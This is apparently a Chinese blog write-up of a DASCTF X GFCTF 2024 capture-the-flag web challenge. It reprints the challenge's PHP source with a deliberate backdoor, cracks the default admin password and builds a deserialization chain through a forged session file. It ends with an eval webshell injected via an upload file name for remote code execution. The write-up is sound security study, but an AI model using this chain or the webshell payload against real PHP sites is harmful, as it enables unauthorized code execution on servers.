BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】

Hint1:本题的 flag 不在环境变量中

Hint2:session_start(),注意链子挖掘

题目:

扫描出来www.zip

class.php

php 复制代码
<?php

class Admin{

    public $Config;

    public function __construct($Config){
        //安全获取基本信息,返回修改配置的表单
        $Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
        $Config->sex = (is_string($Config->sex) ? $Config->sex : "");
        $Config->mail = (is_string($Config->mail) ? $Config->mail : "");
        $Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
        $this->Config = $Config;

        echo '    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="avatar" >
        <input type="text" name="nickname" placeholder="nickname"/>
        <input type="text" name="sex" placeholder="sex"/>
        <input type="text" name="mail" placeholder="mail"/>
        <input type="text" name="telnum" placeholder="telnum"/>
        <input type="submit" name="m" value="edit"/>
    </form>';
    }

    public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

        if(filesize("record.php") > 0){
            [new Log($Config),"log"]();
        }
    }

    public function resetconf(){
        //返回出厂设置
        file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
    }

    public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

    public function __wakeup(){
        $this->Config = ":(";
    }

    public function __destruct(){
        echo $this->Config->showconf();
    }
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

    public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

}



class Log{

    public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

    public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

    public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾
    }
}

index.php

php 复制代码
<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
    if(!is_array($value)){
        $param[$key] = addslashes($value);
    }
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        
        $avatar['fname'] = $_FILES['avatar']['name'];
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }
}else{
    die("pls login! :)");
}

在class.php中发现一长串base64编码的东西,解码得到:

O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"�

也就是说默认的出厂设置 uname为admin,passwd为 50b9748289910436bfdd34bda7b1c9d9,结合index.php中

php 复制代码
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd)

将password两次MD5解码得到1q2w3e

提交uname=admin&passwd=1q2w3e登录成功

看提示这应该是一道反序列化的题,但是源代码中并没有unserialize()

但是传输session的时候会发生序列化和反序列化

关于session的流程:

会话可以由php.ini中的配置session.auto_start = 1自动开始,也可以通过函数 session_start()手动开始,其中PHPSESSID用于标志每个用户的会话,它通常通过浏览器的 Cookie 传递给服务器,也可以通过 URL 重写等方式传递。当客户端向服务器发送请求时,会在请求头中包含这个 PHPSESSID,告诉服务器该请求属于哪个会话。PHP 接收到带有 PHPSESSID 的请求后,会根据这个标识符去查找对应的会话数据文件。这些会话数据文件通常存储在服务器的指定目录中,会话数据在存储时通常是经过序列化处理的,PHP 会自动对读取到的会话数据进行反序列化操作,反序列化后的会话数据会被填充到$_SESSION超级全局变量中。

利用Config中的backdoor可以执行任意函数,提交backdoor=phpinfo查看php配置信息

这里需要手动开始会话

session.serialize_handler用于指定会话数据的序列化和反序列化处理方式,选项是php意思就是用PHP 内置的序列化格式

session文件会被默认存储在 /tmp/var/lib/php/sessions中

__sleep 方法会在对象被序列化(如使用 serialize 函数)时自动调用

php 复制代码
 public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf())
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

然后调用showconf()

这里 file_get_contents用于将文件的内容读入到一个字符串中 , 它期望传入的参数是一个有效的文件路径(字符串类型)。当你传入的是一个对象时,PHP 需要将这个对象转换为字符串,以便能够把它当作文件路径来处理。

php 复制代码
 public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

此时会触发Log的toString()

php 复制代码
 public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

此时就将内容写进record.php中

链子明晰了,exp:

php 复制代码
<?php
 class Log
 {
     public $data="log_start()";
 }
class Config
{
    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;
}
$a=new Log();
$b=new Config();
$b->avatar=$a;
echo serialize($b)
?>

序列化结果:

O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到Session对象,比如下面的aaa\|O:6:"Config":...就是对应的_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的

事实上$_SESSION['user']=xxx往往只用于改变用户属性

大体思路是:返回session文件时序列化--> __sleep()-->showcof() 此时将avatar写入$show中触发-->toString()-->将<?php\nerror_reporting(0);\n写入record.php

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf x gfctf 2024|四月开启第一局-CSDN博客

会话开启成功

如果没有手动开启会话,它自己不会自动开启

将filename改为"sess_xxxxx",PHPSESSID=xxxxx

session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去

文件内容用以下格式来写,这样就能被反序列化读取

backdoor-session_start开着,PHPSESSID自己写一个,filename="sess_那个名字",在文件内容中以php的session文件格式写

在文件名中写入木马,此时删除cookie防止再次写入<?php error_reporting(0);

利用RCE执行命令(或者用蚁剑连接)

之前一直不明白为什么要在文件名处写马,看了好几遍源代码才恍然大悟

在这里获取原始文件名

php 复制代码
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        #获取上传头像的原始名字        
        $avatar['fname'] = $_FILES['avatar']['name'];
        #获取上传文件在服务器临时存储的文件名
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }

调用editconf函数

php 复制代码
 public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

       #使用 filesize 函数检查 record.php 文件的大小是否大于 0。
        if(filesize("record.php") > 0){
 #如果 record.php 文件大小大于 0,创建一个 Log 类的实例,并调用该实例的 log 方法记录日志。
            [new Log($Config),"log"]();
        }
    }

然后又调用upload方法,而这里要被返回的路径第一个就是fname,即原始文件名

php 复制代码
 public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

这些都调用完以后,也就是Config-\>avatar=path,其中$path中含有我们上传的文件名

文件名就是木马 1';eval(_POST\[1\]);#,这里也关了php报错,所以/temp/1';eval(_POST[1]);#也不会因为没有这个文件而终止执行

此时检查到record.php文件含有已经写进去的<?php error_reporting(0);不为空,editconf中最后一行又新建了Log类并调用log方法,所以调用__construct方法和log方法

php 复制代码
 public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
#PHP_EOL是通用换行符
    }
php 复制代码
 public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾
    }

将这一堆东西写入record.php中,但是没用了,因为我们已经#注释掉了,高

然后还有一个问题就是,为什么删了Cookie就能防止<?php error_reporting(0);再次写入

删了Cookie就代表着上一个会话已经结束,这是开启了一个全新的会话,因为没有上传session文件啥的,所以也不会引起序列化漏洞,不会再写一遍<?php error_reporting(0);只会执行将文件名写入路径中再把路径写入record.php中的操作

如果这时候不删Cookie,默认还是这个会话,它就会把文件再上传到那个sess目录里头,然后引起序列化漏洞,再把前面<?php error_reporting(0);再写一遍

(个人理解)

相关推荐
crud几秒前
Spring Boot 3 整合 Swagger:打造现代化 API 文档系统(附完整代码 + 高级配置 + 最佳实践)
java·spring boot·swagger
天天摸鱼的java工程师6 分钟前
从被测试小姐姐追着怼到运维小哥点赞:我在项目管理系统的 MySQL 优化实战
java·后端·mysql
先做个垃圾出来………6 分钟前
split方法
前端
搬码临时工8 分钟前
如何把本地服务器变成公网服务器?内网ip网址转换到外网连接访问
运维·服务器·网络·tcp/ip·智能路由器·远程工作·访问公司内网
周某某~17 分钟前
四.抽象工厂模式
java·设计模式·抽象工厂模式
前端Hardy41 分钟前
HTML&CSS:3D图片切换效果
前端·javascript
异常君1 小时前
高并发数据写入场景下 MySQL 的性能瓶颈与替代方案
java·mysql·性能优化
烙印6011 小时前
MyBatis原理剖析(二)
java·数据库·mybatis
你是狒狒吗1 小时前
TM中,return new TransactionManagerImpl(raf, fc);为什么返回是new了一个新的实例
java·开发语言·数据库
鳄鱼杆1 小时前
服务器 | Centos 9 系统中,如何部署SpringBoot后端项目?
服务器·spring boot·centos